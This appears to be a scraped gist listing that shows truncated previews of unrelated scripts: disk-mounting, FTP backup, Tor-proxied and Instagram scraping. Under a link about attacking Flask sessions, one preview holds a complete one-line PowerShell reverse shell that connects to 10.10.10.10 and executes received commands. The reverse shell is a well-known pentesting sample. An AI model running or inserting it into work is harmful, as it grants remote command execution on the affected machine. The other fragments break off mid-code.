https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce
Create virtualenv
python3 -m venv venv/
source venv/bin/activate
Create theses files
#!/bin/bash | |
# Variables | |
DEVICE="/dev/sda" # Remplacez par le chemin de votre disque chiffré | |
MOUNT_POINT="/mnt/DD" # Remplacez par le point de montage souhaité | |
CRYPT_NAME="DD" # Nom du volume chiffré | |
# Fonction pour monter le disque | |
mount_disk() { | |
# Vérifier si le point de montage existe, sinon le créer |
#!/bin/bash | |
# Check if a directory has been provided as an argument | |
if [ "$#" -ne 1 ]; then | |
echo "Usage: $0 path_to_directory" | |
exit 1 | |
fi | |
directory="$1" |
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import requests | |
from lxml import html | |
proxy_url = "socks5://localhost:9050" | |
proxies = {"http": proxy_url, "https": proxy_url} | |
r = requests.Session() |
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
#region Journalisation | |
function initLog { | |
param( | |
[string]$loggerPath = "$PSScriptRoot\file.log" | |
) | |
if (!(Test-Path $loggerPath)){New-Item -Path $loggerPath -ItemType File} | |
loggerInfo "-----------------------------------------------" $loggerPath | |
loggerInfo "+ Programme : BackupAndSend" $loggerPath | |
loggerInfo "+ Version : 18/12/2019" $loggerPath | |
loggerInfo "-----------------------------------------------" $loggerPath |
function GetByFTP() | |
{ | |
param ( | |
$userFTP = "anonymous", | |
$passFTP = "anonymous", | |
[Parameter(Mandatory=$True)]$serverFTP, | |
[Parameter(Mandatory=$True)]$localPath, | |
[Parameter(Mandatory=$True)]$remoteFile | |
) | |
$localFile = Join-Path -Path $localPath -ChildPath $remoteFile.split('/')[-1] |
import requests | |
import re | |
username = "UserProfile" | |
try: | |
r = requests.get('https://www.instagram.com/'+username) | |
followers = re.findall( r'userInteractionCount":"(\d*)"', r.text) | |
user = re.findall( r'alternateName":"@(\w+)', r.text) | |
print("@"+ user[0], ":", followers[0], "followers") |
function SendByFTP { | |
param ( | |
$userFTP = "anonymous", | |
$passFTP = "anonymous", | |
[Parameter(Mandatory=$True)]$serverFTP, | |
[Parameter(Mandatory=$True)]$localFile, | |
[Parameter(Mandatory=$True)]$remotePath | |
) | |
if(Test-Path $localFile){ | |
$remoteFile = $localFile.Split("\")[-1] |